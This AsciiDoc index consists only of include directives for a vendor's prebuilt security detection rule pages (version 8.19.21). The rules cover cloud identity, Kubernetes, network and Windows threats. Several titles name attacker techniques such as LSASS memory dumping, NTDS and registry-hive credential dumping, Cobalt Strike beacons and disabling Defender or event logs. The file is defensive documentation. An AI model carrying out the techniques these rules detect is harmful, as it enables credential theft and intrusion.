+include::prebuilt-rule-8-19-21-azure-compute-snapshot-deletion-by-unusual-user-and-resource-group.asciidoc[] +include::prebuilt-rule-8-19-21-azure-compute-snapshot-deletions-by-user.asciidoc[] +include::prebuilt-rule-8-19-21-azure-storage-account-deletion-by-unusual-user.asciidoc[] +include::prebuilt-rule-8-19-21-azure-storage-account-deletions-by-user.asciidoc[] +include::prebuilt-rule-8-19-21-azure-key-vault-modified.asciidoc[] +include::prebuilt-rule-8-19-21-azure-kubernetes-services-aks-kubernetes-pods-deleted.asciidoc[] +include::prebuilt-rule-8-19-21-azure-resource-group-deleted.asciidoc[] +include::prebuilt-rule-8-19-21-azure-arc-cluster-credential-access-by-identity-from-unusual-source.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-oauth-device-code-grant-by-microsoft-authentication-broker.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-external-guest-user-invited.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-service-principal-federated-credential-authentication-by-unusual-client.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-oauth-device-code-grant-by-unusual-user.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-oauth-user-impersonation-to-microsoft-graph.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-high-risk-sign-in.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-oauth-authorization-code-grant-for-unusual-user-app-and-resource.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-oauth-phishing-via-first-party-microsoft-application.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-oauth-user-impersonation-scope-for-unusual-user-and-client.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-powershell-sign-in.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-protection-alerts-for-user-detected.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-protection-admin-confirmed-compromise.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-protection-risk-detection-sign-in-risk.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-protection-risk-detection-user-risk.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-user-sign-in-with-unusual-client.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-user-sign-in-with-unusual-authentication-type.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-high-risk-user-sign-in-heuristic.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-service-principal-with-unusual-source-asn.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-oauth-flow-by-microsoft-authentication-broker-to-device-registration-service-drs.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-oauth-ropc-grant-login-detected.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-user-reported-suspicious-activity.asciidoc[] +include::prebuilt-rule-8-19-21-microsoft-graph-request-user-impersonation-by-unusual-client.asciidoc[] +include::prebuilt-rule-8-19-21-azure-automation-account-created.asciidoc[] +include::prebuilt-rule-8-19-21-azure-automation-webhook-created.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-application-credential-modified.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-conditional-access-policy-cap-modified.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-global-administrator-role-assigned.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-mfa-disabled-for-user.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-global-administrator-role-assigned-pim-user.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-privileged-identity-management-pim-role-modified.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-oauth-prt-issuance-to-non-managed-device-detected.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-service-principal-created.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-service-principal-credentials-created-by-unusual-user.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-adrs-token-request-by-microsoft-authentication-broker.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-unusual-cloud-device-registration.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-user-added-as-registered-application-owner.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-user-added-as-service-principal-owner.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-user-sign-in-with-unusual-non-managed-device.asciidoc[] +include::prebuilt-rule-8-19-21-azure-event-hub-authorization-rule-created-or-updated.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-external-authentication-methods-eam-modified.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-protection-user-alert-and-device-registration.asciidoc[] +include::prebuilt-rule-8-19-21-azure-rbac-built-in-administrator-roles-assigned.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-elevated-access-to-user-access-administrator.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-domain-federation-configuration-change.asciidoc[] +include::prebuilt-rule-8-19-21-azure-kubernetes-services-aks-kubernetes-rolebindings-created.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-custom-domain-added-or-verified.asciidoc[] +include::prebuilt-rule-8-19-21-cyberark-privileged-access-security-error.asciidoc[] +include::prebuilt-rule-8-19-21-cyberark-privileged-access-security-recommended-monitor.asciidoc[] +include::prebuilt-rule-8-19-21-potential-persistence-via-file-modification.asciidoc[] +include::prebuilt-rule-8-19-21-gcp-pub-sub-subscription-creation.asciidoc[] +include::prebuilt-rule-8-19-21-gcp-pub-sub-topic-creation.asciidoc[] +include::prebuilt-rule-8-19-21-gcp-firewall-rule-creation.asciidoc[] +include::prebuilt-rule-8-19-21-gcp-firewall-rule-deletion.asciidoc[] +include::prebuilt-rule-8-19-21-gcp-firewall-rule-modification.asciidoc[] +include::prebuilt-rule-8-19-21-gcp-logging-bucket-deletion.asciidoc[] +include::prebuilt-rule-8-19-21-gcp-logging-sink-deletion.asciidoc[] +include::prebuilt-rule-8-19-21-gcp-pub-sub-subscription-deletion.asciidoc[] +include::prebuilt-rule-8-19-21-gcp-pub-sub-topic-deletion.asciidoc[] +include::prebuilt-rule-8-19-21-gcp-storage-bucket-configuration-modification.asciidoc[] +include::prebuilt-rule-8-19-21-gcp-storage-bucket-permissions-modification.asciidoc[] +include::prebuilt-rule-8-19-21-gcp-virtual-private-cloud-network-deletion.asciidoc[] +include::prebuilt-rule-8-19-21-gcp-virtual-private-cloud-route-creation.asciidoc[] +include::prebuilt-rule-8-19-21-gcp-virtual-private-cloud-route-deletion.asciidoc[] +include::prebuilt-rule-8-19-21-gcp-logging-sink-modification.asciidoc[] +include::prebuilt-rule-8-19-21-gcp-iam-role-deletion.asciidoc[] +include::prebuilt-rule-8-19-21-gcp-service-account-deletion.asciidoc[] +include::prebuilt-rule-8-19-21-gcp-service-account-disabled.asciidoc[] +include::prebuilt-rule-8-19-21-gcp-storage-bucket-deletion.asciidoc[] +include::prebuilt-rule-8-19-21-gcp-iam-custom-role-creation.asciidoc[] +include::prebuilt-rule-8-19-21-gcp-iam-service-account-key-deletion.asciidoc[] +include::prebuilt-rule-8-19-21-gcp-service-account-key-creation.asciidoc[] +include::prebuilt-rule-8-19-21-gcp-service-account-creation.asciidoc[] +include::prebuilt-rule-8-19-21-github-protected-branch-settings-changed.asciidoc[] +include::prebuilt-rule-8-19-21-github-secret-scanning-disabled.asciidoc[] +include::prebuilt-rule-8-19-21-github-app-deleted.asciidoc[] +include::prebuilt-rule-8-19-21-high-number-of-cloned-github-repos-from-pat.asciidoc[] +include::prebuilt-rule-8-19-21-new-github-app-installed.asciidoc[] +include::prebuilt-rule-8-19-21-github-private-repository-turned-public.asciidoc[] +include::prebuilt-rule-8-19-21-github-exfiltration-via-high-number-of-repository-clones-by-user.asciidoc[] +include::prebuilt-rule-8-19-21-github-activity-on-a-private-repository-from-an-unusual-ip.asciidoc[] +include::prebuilt-rule-8-19-21-github-repository-deleted.asciidoc[] +include::prebuilt-rule-8-19-21-high-number-of-closed-pull-requests-by-user.asciidoc[] +include::prebuilt-rule-8-19-21-several-failed-protected-branch-force-pushes-by-user.asciidoc[] +include::prebuilt-rule-8-19-21-high-number-of-protected-branch-force-pushes-by-user.asciidoc[] +include::prebuilt-rule-8-19-21-github-actions-unusual-bot-push-to-repository.asciidoc[] +include::prebuilt-rule-8-19-21-new-github-self-hosted-action-runner.asciidoc[] +include::prebuilt-rule-8-19-21-new-github-owner-added.asciidoc[] +include::prebuilt-rule-8-19-21-new-github-personal-access-token-pat-added.asciidoc[] +include::prebuilt-rule-8-19-21-github-owner-role-granted-to-user.asciidoc[] +include::prebuilt-rule-8-19-21-google-drive-ownership-transferred-via-google-workspace.asciidoc[] +include::prebuilt-rule-8-19-21-google-workspace-custom-gmail-route-created-or-modified.asciidoc[] +include::prebuilt-rule-8-19-21-google-workspace-drive-encryption-key-s-accessed-from-anonymous-user.asciidoc[] +include::prebuilt-rule-8-19-21-application-removed-from-blocklist-in-google-workspace.asciidoc[] +include::prebuilt-rule-8-19-21-domain-added-to-google-workspace-trusted-domains.asciidoc[] +include::prebuilt-rule-8-19-21-google-workspace-bitlocker-setting-disabled.asciidoc[] +include::prebuilt-rule-8-19-21-first-time-seen-google-workspace-oauth-login-from-third-party-application.asciidoc[] +include::prebuilt-rule-8-19-21-google-workspace-restrictions-for-marketplace-modified-to-allow-any-app.asciidoc[] +include::prebuilt-rule-8-19-21-forwarded-google-workspace-security-alert.asciidoc[] +include::prebuilt-rule-8-19-21-google-workspace-admin-role-deletion.asciidoc[] +include::prebuilt-rule-8-19-21-google-workspace-mfa-enforcement-disabled.asciidoc[] +include::prebuilt-rule-8-19-21-external-user-added-to-google-workspace-group.asciidoc[] +include::prebuilt-rule-8-19-21-google-workspace-suspended-user-account-renewed.asciidoc[] +include::prebuilt-rule-8-19-21-google-workspace-object-copied-to-external-drive-with-app-consent.asciidoc[] +include::prebuilt-rule-8-19-21-application-added-to-google-workspace-domain.asciidoc[] +include::prebuilt-rule-8-19-21-google-workspace-2sv-policy-disabled.asciidoc[] +include::prebuilt-rule-8-19-21-google-workspace-admin-role-assigned-to-a-user.asciidoc[] +include::prebuilt-rule-8-19-21-google-workspace-api-access-granted-via-domain-wide-delegation.asciidoc[] +include::prebuilt-rule-8-19-21-google-workspace-custom-admin-role-created.asciidoc[] +include::prebuilt-rule-8-19-21-google-workspace-password-policy-modified.asciidoc[] +include::prebuilt-rule-8-19-21-google-workspace-role-modified.asciidoc[] +include::prebuilt-rule-8-19-21-google-workspace-user-organizational-unit-changed.asciidoc[] +include::prebuilt-rule-8-19-21-mfa-disabled-for-google-workspace-organization.asciidoc[] +include::prebuilt-rule-8-19-21-kubernetes-secret-access-via-unusual-user-agent.asciidoc[] +include::prebuilt-rule-8-19-21-kubernetes-events-deleted.asciidoc[] +include::prebuilt-rule-8-19-21-kubernetes-denied-service-account-request-via-unusual-user-agent.asciidoc[] +include::prebuilt-rule-8-19-21-kubernetes-suspicious-self-subject-review-via-unusual-user-agent.asciidoc[] +include::prebuilt-rule-8-19-21-kubernetes-anonymous-user-create-update-patch-pods-request.asciidoc[] +include::prebuilt-rule-8-19-21-kubernetes-forbidden-creation-request.asciidoc[] +include::prebuilt-rule-8-19-21-kubernetes-forbidden-request-from-unusual-user-agent.asciidoc[] +include::prebuilt-rule-8-19-21-kubernetes-unusual-decision-by-user-agent.asciidoc[] +include::prebuilt-rule-8-19-21-kubernetes-user-exec-into-pod.asciidoc[] +include::prebuilt-rule-8-19-21-kubernetes-anonymous-request-authorized-by-unusual-user-agent.asciidoc[] +include::prebuilt-rule-8-19-21-kubernetes-cluster-admin-role-binding-created.asciidoc[] +include::prebuilt-rule-8-19-21-kubernetes-exposed-service-created-with-type-nodeport.asciidoc[] +include::prebuilt-rule-8-19-21-kubernetes-creation-of-a-rolebinding-referencing-a-serviceaccount.asciidoc[] +include::prebuilt-rule-8-19-21-kubernetes-container-created-with-excessive-linux-capabilities.asciidoc[] +include::prebuilt-rule-8-19-21-kubernetes-pod-created-with-hostipc.asciidoc[] +include::prebuilt-rule-8-19-21-kubernetes-pod-created-with-hostnetwork.asciidoc[] +include::prebuilt-rule-8-19-21-kubernetes-pod-created-with-hostpid.asciidoc[] +include::prebuilt-rule-8-19-21-kubernetes-pod-created-with-a-sensitive-hostpath-volume.asciidoc[] +include::prebuilt-rule-8-19-21-kubernetes-privileged-pod-created.asciidoc[] +include::prebuilt-rule-8-19-21-kubernetes-sensitive-rbac-change-followed-by-workload-modification.asciidoc[] +include::prebuilt-rule-8-19-21-unusual-kubernetes-sensitive-workload-modification.asciidoc[] +include::prebuilt-rule-8-19-21-kubernetes-service-account-modified-rbac-objects.asciidoc[] +include::prebuilt-rule-8-19-21-kubernetes-suspicious-assignment-of-controller-service-account.asciidoc[] +include::prebuilt-rule-8-19-21-m365-azure-monitor-alert-email-with-financial-or-billing-theme.asciidoc[] +include::prebuilt-rule-8-19-21-m365-exchange-mailbox-items-accessed-excessively.asciidoc[] +include::prebuilt-rule-8-19-21-m365-exchange-mailbox-accessed-by-unusual-client.asciidoc[] +include::prebuilt-rule-8-19-21-m365-onedrive-sharepoint-excessive-file-downloads.asciidoc[] +include::prebuilt-rule-8-19-21-m365-sharepoint-onedrive-file-access-via-powershell.asciidoc[] +include::prebuilt-rule-8-19-21-m365-identity-oauth-flow-by-user-sign-in-to-device-registration.asciidoc[] +include::prebuilt-rule-8-19-21-m365-identity-user-brute-force-attempted.asciidoc[] +include::prebuilt-rule-8-19-21-m365-identity-user-account-lockouts.asciidoc[] +include::prebuilt-rule-8-19-21-m365-identity-oauth-flow-by-first-party-microsoft-app-from-multiple-ips.asciidoc[] +include::prebuilt-rule-8-19-21-m365-exchange-anti-phish-policy-deleted.asciidoc[] +include::prebuilt-rule-8-19-21-m365-exchange-anti-phish-rule-modification.asciidoc[] +include::prebuilt-rule-8-19-21-m365-exchange-dkim-signing-configuration-disabled.asciidoc[] +include::prebuilt-rule-8-19-21-deprecated-m365-exchange-dlp-policy-deleted.asciidoc[] +include::prebuilt-rule-8-19-21-m365-exchange-email-safe-link-policy-disabled.asciidoc[] +include::prebuilt-rule-8-19-21-m365-exchange-mailbox-audit-logging-bypass-added.asciidoc[] +include::prebuilt-rule-8-19-21-m365-exchange-malware-filter-policy-deleted.asciidoc[] +include::prebuilt-rule-8-19-21-m365-exchange-malware-filter-rule-modified.asciidoc[] +include::prebuilt-rule-8-19-21-m365-exchange-inbox-phishing-evasion-rule-created.asciidoc[] +include::prebuilt-rule-8-19-21-m365-exchange-email-safe-attachment-rule-disabled.asciidoc[] +include::prebuilt-rule-8-19-21-m365-exchange-mfa-notification-email-deleted-or-moved.asciidoc[] +include::prebuilt-rule-8-19-21-m365-sharepoint-site-sharing-policy-weakened.asciidoc[] +include::prebuilt-rule-8-19-21-m365-teams-custom-application-interaction-enabled.asciidoc[] +include::prebuilt-rule-8-19-21-deprecated-m365-teams-external-access-enabled.asciidoc[] +include::prebuilt-rule-8-19-21-m365-sharepoint-search-for-sensitive-content.asciidoc[] +include::prebuilt-rule-8-19-21-m365-exchange-mail-flow-transport-rule-created.asciidoc[] +include::prebuilt-rule-8-19-21-m365-exchange-mail-flow-transport-rule-modified.asciidoc[] +include::prebuilt-rule-8-19-21-deprecated-m365-security-compliance-potential-ransomware-activity.asciidoc[] +include::prebuilt-rule-8-19-21-deprecated-m365-security-compliance-unusual-volume-of-file-deletion.asciidoc[] +include::prebuilt-rule-8-19-21-m365-identity-login-from-atypical-travel-location.asciidoc[] +include::prebuilt-rule-8-19-21-m365-identity-login-from-impossible-travel-location.asciidoc[] +include::prebuilt-rule-8-19-21-m365-identity-oauth-illicit-consent-grant-by-rare-client-and-user.asciidoc[] +include::prebuilt-rule-8-19-21-m365-identity-oauth-phishing-via-first-party-microsoft-application.asciidoc[] +include::prebuilt-rule-8-19-21-m365-identity-unusual-sso-authentication-errors-for-user.asciidoc[] +include::prebuilt-rule-8-19-21-deprecated-m365-security-compliance-email-reported-by-user-as-malware-or-phish.asciidoc[] +include::prebuilt-rule-8-19-21-deprecated-m365-security-compliance-user-restricted-from-sending-email.asciidoc[] +include::prebuilt-rule-8-19-21-m365-onedrive-malware-file-upload.asciidoc[] +include::prebuilt-rule-8-19-21-m365-sharepoint-malware-file-detected.asciidoc[] +include::prebuilt-rule-8-19-21-m365-identity-global-administrator-role-assigned.asciidoc[] +include::prebuilt-rule-8-19-21-m365-exchange-management-group-role-assigned.asciidoc[] +include::prebuilt-rule-8-19-21-m365-exchange-mailbox-high-risk-permission-delegated.asciidoc[] +include::prebuilt-rule-8-19-21-deprecated-m365-teams-guest-access-enabled.asciidoc[] +include::prebuilt-rule-8-19-21-m365-exchange-federated-domain-created-or-modified.asciidoc[] +include::prebuilt-rule-8-19-21-m365-sharepoint-site-administrator-added.asciidoc[] +include::prebuilt-rule-8-19-21-attempted-bypass-of-okta-mfa.asciidoc[] +include::prebuilt-rule-8-19-21-attempts-to-brute-force-an-okta-user-account.asciidoc[] +include::prebuilt-rule-8-19-21-multiple-okta-user-auth-events-with-same-device-token-hash-behind-a-proxy.asciidoc[] +include::prebuilt-rule-8-19-21-multiple-device-token-hashes-for-single-okta-session.asciidoc[] +include::prebuilt-rule-8-19-21-multiple-okta-user-authentication-events-with-same-device-token-hash.asciidoc[] +include::prebuilt-rule-8-19-21-potential-okta-brute-force-device-token-rotation.asciidoc[] +include::prebuilt-rule-8-19-21-potential-okta-brute-force-multi-source.asciidoc[] +include::prebuilt-rule-8-19-21-potential-okta-credential-stuffing-single-source.asciidoc[] +include::prebuilt-rule-8-19-21-potential-okta-mfa-bombing-via-push-notifications.asciidoc[] +include::prebuilt-rule-8-19-21-potential-okta-password-spray-multi-source.asciidoc[] +include::prebuilt-rule-8-19-21-potential-okta-password-spray-single-source.asciidoc[] +include::prebuilt-rule-8-19-21-potentially-successful-okta-mfa-bombing-via-push-notifications.asciidoc[] +include::prebuilt-rule-8-19-21-okta-successful-login-after-credential-attack.asciidoc[] +include::prebuilt-rule-8-19-21-okta-user-session-impersonation.asciidoc[] +include::prebuilt-rule-8-19-21-attempt-to-deactivate-an-okta-network-zone.asciidoc[] +include::prebuilt-rule-8-19-21-attempt-to-delete-an-okta-network-zone.asciidoc[] +include::prebuilt-rule-8-19-21-unauthorized-scope-for-public-app-oauth2-token-grant-with-client-credentials.asciidoc[] +include::prebuilt-rule-8-19-21-attempt-to-deactivate-an-okta-policy.asciidoc[] +include::prebuilt-rule-8-19-21-attempt-to-deactivate-an-okta-policy-rule.asciidoc[] +include::prebuilt-rule-8-19-21-attempt-to-delete-an-okta-policy.asciidoc[] +include::prebuilt-rule-8-19-21-attempt-to-delete-an-okta-policy-rule.asciidoc[] +include::prebuilt-rule-8-19-21-attempt-to-modify-an-okta-network-zone.asciidoc[] +include::prebuilt-rule-8-19-21-attempt-to-modify-an-okta-policy.asciidoc[] +include::prebuilt-rule-8-19-21-attempt-to-modify-an-okta-policy-rule.asciidoc[] +include::prebuilt-rule-8-19-21-high-number-of-okta-user-password-reset-or-unlock-attempts.asciidoc[] +include::prebuilt-rule-8-19-21-attempt-to-revoke-okta-api-token.asciidoc[] +include::prebuilt-rule-8-19-21-attempt-to-deactivate-an-okta-application.asciidoc[] +include::prebuilt-rule-8-19-21-attempt-to-delete-an-okta-application.asciidoc[] +include::prebuilt-rule-8-19-21-attempt-to-modify-an-okta-application.asciidoc[] +include::prebuilt-rule-8-19-21-possible-okta-dos-attack.asciidoc[] +include::prebuilt-rule-8-19-21-first-occurrence-of-okta-user-session-started-via-proxy.asciidoc[] +include::prebuilt-rule-8-19-21-okta-fastpass-phishing-detection.asciidoc[] +include::prebuilt-rule-8-19-21-okta-alerts-following-unusual-proxy-authentication.asciidoc[] +include::prebuilt-rule-8-19-21-unauthorized-access-to-an-okta-application.asciidoc[] +include::prebuilt-rule-8-19-21-okta-user-sessions-started-from-different-geolocations.asciidoc[] +include::prebuilt-rule-8-19-21-okta-sign-in-events-via-third-party-idp.asciidoc[] +include::prebuilt-rule-8-19-21-successful-application-sso-from-rare-unknown-client-device.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-activity-reported-by-okta-user.asciidoc[] +include::prebuilt-rule-8-19-21-multiple-okta-sessions-detected-for-a-single-user.asciidoc[] +include::prebuilt-rule-8-19-21-okta-threatinsight-threat-suspected-promotion.asciidoc[] +include::prebuilt-rule-8-19-21-administrator-privileges-assigned-to-an-okta-group.asciidoc[] +include::prebuilt-rule-8-19-21-okta-user-assigned-administrator-role.asciidoc[] +include::prebuilt-rule-8-19-21-attempt-to-create-okta-api-token.asciidoc[] +include::prebuilt-rule-8-19-21-attempt-to-reset-mfa-factors-for-an-okta-user-account.asciidoc[] +include::prebuilt-rule-8-19-21-mfa-deactivation-with-no-re-activation-for-okta-user-account.asciidoc[] +include::prebuilt-rule-8-19-21-new-okta-identity-provider-idp-added-by-admin.asciidoc[] +include::prebuilt-rule-8-19-21-modification-or-removal-of-an-okta-application-sign-on-policy.asciidoc[] +include::prebuilt-rule-8-19-21-stolen-credentials-used-to-login-to-okta-account-after-mfa-reset.asciidoc[] +include::prebuilt-rule-8-19-21-high-number-of-egress-network-connections-from-unusual-executable.asciidoc[] +include::prebuilt-rule-8-19-21-potential-linux-local-account-brute-force-detected.asciidoc[] +include::prebuilt-rule-8-19-21-potential-password-spraying-attack-via-ssh.asciidoc[] +include::prebuilt-rule-8-19-21-unusual-base64-encoding-decoding-activity.asciidoc[] +include::prebuilt-rule-8-19-21-potential-port-scanning-activity-from-compromised-host.asciidoc[] +include::prebuilt-rule-8-19-21-potential-subnet-scanning-activity-from-compromised-host.asciidoc[] +include::prebuilt-rule-8-19-21-process-started-with-executable-stack.asciidoc[] +include::prebuilt-rule-8-19-21-file-transfer-utility-launched-from-unusual-parent.asciidoc[] +include::prebuilt-rule-8-19-21-potential-malware-driven-ssh-brute-force-attempt.asciidoc[] +include::prebuilt-rule-8-19-21-potential-webshell-deployed-via-apache-struts-cve-2023-50164-exploitation.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-usage-of-bpf-probe-write-user-helper.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-rc-local-error-message.asciidoc[] +include::prebuilt-rule-8-19-21-tainted-kernel-module-load.asciidoc[] +include::prebuilt-rule-8-19-21-tainted-out-of-tree-kernel-module-load.asciidoc[] +include::prebuilt-rule-8-19-21-unusual-process-spawned-from-web-server-parent.asciidoc[] +include::prebuilt-rule-8-19-21-unusual-command-execution-from-web-server-parent.asciidoc[] +include::prebuilt-rule-8-19-21-first-time-python-created-a-launchagent-or-launchdaemon.asciidoc[] +include::prebuilt-rule-8-19-21-fortigate-configuration-file-downloaded.asciidoc[] +include::prebuilt-rule-8-19-21-accepted-default-telnet-port-connection.asciidoc[] +include::prebuilt-rule-8-19-21-cobalt-strike-command-and-control-beacon.asciidoc[] +include::prebuilt-rule-8-19-21-default-cobalt-strike-team-server-certificate.asciidoc[] +include::prebuilt-rule-8-19-21-roshal-archive-rar-or-powershell-file-downloaded-from-the-internet.asciidoc[] +include::prebuilt-rule-8-19-21-possible-fin7-dga-command-and-control-behavior.asciidoc[] +include::prebuilt-rule-8-19-21-halfbaked-command-and-control-beacon.asciidoc[] +include::prebuilt-rule-8-19-21-ipsec-nat-traversal-port-activity.asciidoc[] +include::prebuilt-rule-8-19-21-smtp-on-port-26-tcp.asciidoc[] +include::prebuilt-rule-8-19-21-rdp-remote-desktop-protocol-from-the-internet.asciidoc[] +include::prebuilt-rule-8-19-21-vnc-virtual-network-computing-from-the-internet.asciidoc[] +include::prebuilt-rule-8-19-21-vnc-virtual-network-computing-to-the-internet.asciidoc[] +include::prebuilt-rule-8-19-21-fortigate-overly-permissive-firewall-policy-created.asciidoc[] +include::prebuilt-rule-8-19-21-fortigate-administrator-login-from-multiple-ip-addresses.asciidoc[] +include::prebuilt-rule-8-19-21-fortigate-forticloud-sso-login-from-unusual-source.asciidoc[] +include::prebuilt-rule-8-19-21-first-time-fortigate-administrator-login.asciidoc[] +include::prebuilt-rule-8-19-21-react2shell-network-security-alert.asciidoc[] +include::prebuilt-rule-8-19-21-rpc-remote-procedure-call-from-the-internet.asciidoc[] +include::prebuilt-rule-8-19-21-rpc-remote-procedure-call-to-the-internet.asciidoc[] +include::prebuilt-rule-8-19-21-smb-windows-file-sharing-activity-to-the-internet.asciidoc[] +include::prebuilt-rule-8-19-21-inbound-connection-to-an-unsecure-elasticsearch-node.asciidoc[] +include::prebuilt-rule-8-19-21-abnormally-large-dns-response.asciidoc[] +include::prebuilt-rule-8-19-21-fortigate-administrator-account-creation-from-unusual-source.asciidoc[] +include::prebuilt-rule-8-19-21-fortigate-sso-login-followed-by-administrator-account-creation.asciidoc[] +include::prebuilt-rule-8-19-21-fortigate-super-admin-account-creation.asciidoc[] +include::prebuilt-rule-8-19-21-exporting-exchange-mailbox-via-powershell.asciidoc[] +include::prebuilt-rule-8-19-21-encrypting-files-with-winrar-or-7z.asciidoc[] +include::prebuilt-rule-8-19-21-potential-file-transfer-via-certreq.asciidoc[] +include::prebuilt-rule-8-19-21-connection-to-commonly-abused-web-services.asciidoc[] +include::prebuilt-rule-8-19-21-potential-dns-tunneling-via-nslookup.asciidoc[] +include::prebuilt-rule-8-19-21-potential-file-download-via-a-headless-browser.asciidoc[] +include::prebuilt-rule-8-19-21-multiple-remote-management-tool-vendors-on-same-host.asciidoc[] +include::prebuilt-rule-8-19-21-outlook-home-page-registry-modification.asciidoc[] +include::prebuilt-rule-8-19-21-port-forwarding-rule-addition.asciidoc[] +include::prebuilt-rule-8-19-21-potential-remote-desktop-tunneling-detected.asciidoc[] +include::prebuilt-rule-8-19-21-potential-remcos-trojan-execution.asciidoc[] +include::prebuilt-rule-8-19-21-remote-file-download-via-desktopimgdownldr-utility.asciidoc[] +include::prebuilt-rule-8-19-21-remote-file-download-via-mpcmdrun.asciidoc[] +include::prebuilt-rule-8-19-21-remote-management-access-launch-after-msi-install.asciidoc[] +include::prebuilt-rule-8-19-21-netsupport-manager-execution-from-an-unusual-path.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-screenconnect-client-child-process.asciidoc[] +include::prebuilt-rule-8-19-21-potential-file-transfer-via-curl-for-windows.asciidoc[] +include::prebuilt-rule-8-19-21-potential-protocol-tunneling-via-cloudflared.asciidoc[] +include::prebuilt-rule-8-19-21-attempt-to-establish-vscode-remote-tunnel.asciidoc[] +include::prebuilt-rule-8-19-21-potential-protocol-tunneling-via-yuze.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-shell-execution-via-velociraptor.asciidoc[] +include::prebuilt-rule-8-19-21-browser-process-spawned-from-an-unusual-parent.asciidoc[] +include::prebuilt-rule-8-19-21-potential-credential-access-via-windows-utilities.asciidoc[] +include::prebuilt-rule-8-19-21-ntds-or-sam-database-file-copied.asciidoc[] +include::prebuilt-rule-8-19-21-creation-or-modification-of-domain-backup-dpapi-private-key.asciidoc[] +include::prebuilt-rule-8-19-21-credential-acquisition-via-registry-hive-dumping.asciidoc[] +include::prebuilt-rule-8-19-21-full-user-mode-dumps-enabled-system-wide.asciidoc[] +include::prebuilt-rule-8-19-21-microsoft-iis-connection-strings-decryption.asciidoc[] +include::prebuilt-rule-8-19-21-kirbi-file-creation.asciidoc[] +include::prebuilt-rule-8-19-21-lsass-memory-dump-creation.asciidoc[] +include::prebuilt-rule-8-19-21-lsass-process-access-via-windows-api.asciidoc[] +include::prebuilt-rule-8-19-21-mimikatz-memssp-log-file-detected.asciidoc[] +include::prebuilt-rule-8-19-21-modification-of-wdigest-security-provider.asciidoc[] +include::prebuilt-rule-8-19-21-network-logon-provider-registry-modification.asciidoc[] +include::prebuilt-rule-8-19-21-rare-connection-to-webdav-target.asciidoc[] +include::prebuilt-rule-8-19-21-potential-local-ntlm-relay-via-http.asciidoc[] +include::prebuilt-rule-8-19-21-searching-for-saved-credentials-via-vaultcmd.asciidoc[] +include::prebuilt-rule-8-19-21-potential-credential-access-via-renamed-com-services-dll.asciidoc[] +include::prebuilt-rule-8-19-21-symbolic-link-to-shadow-copy-created.asciidoc[] +include::prebuilt-rule-8-19-21-potential-veeam-credential-access-command.asciidoc[] +include::prebuilt-rule-8-19-21-ntds-dump-via-wbadmin.asciidoc[] +include::prebuilt-rule-8-19-21-wireless-credential-dumping-using-netsh-command.asciidoc[] +include::prebuilt-rule-8-19-21-adding-hidden-file-attribute-via-attrib.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-antimalware-scan-interface-dll.asciidoc[] +include::prebuilt-rule-8-19-21-modification-of-amsienable-registry-key.asciidoc[] +include::prebuilt-rule-8-19-21-clearing-windows-console-history.asciidoc[] +include::prebuilt-rule-8-19-21-clearing-windows-event-logs.asciidoc[] +include::prebuilt-rule-8-19-21-code-signing-policy-modification-through-built-in-tools.asciidoc[] +include::prebuilt-rule-8-19-21-code-signing-policy-modification-through-registry.asciidoc[] +include::prebuilt-rule-8-19-21-creation-or-modification-of-root-certificate.asciidoc[] +include::prebuilt-rule-8-19-21-windows-defender-disabled-via-registry-modification.asciidoc[] +include::prebuilt-rule-8-19-21-windows-defender-exclusions-added-via-powershell.asciidoc[] +include::prebuilt-rule-8-19-21-delete-volume-usn-journal-with-fsutil.asciidoc[] +include::prebuilt-rule-8-19-21-network-level-authentication-nla-disabled.asciidoc[] +include::prebuilt-rule-8-19-21-powershell-script-block-logging-disabled.asciidoc[] +include::prebuilt-rule-8-19-21-disable-windows-firewall-rules-via-netsh.asciidoc[] +include::prebuilt-rule-8-19-21-disabling-windows-defender-security-settings-via-powershell.asciidoc[] +include::prebuilt-rule-8-19-21-disable-windows-event-and-security-logs-using-built-in-tools.asciidoc[] +include::prebuilt-rule-8-19-21-dns-over-https-enabled-via-registry.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-net-code-compilation.asciidoc[] 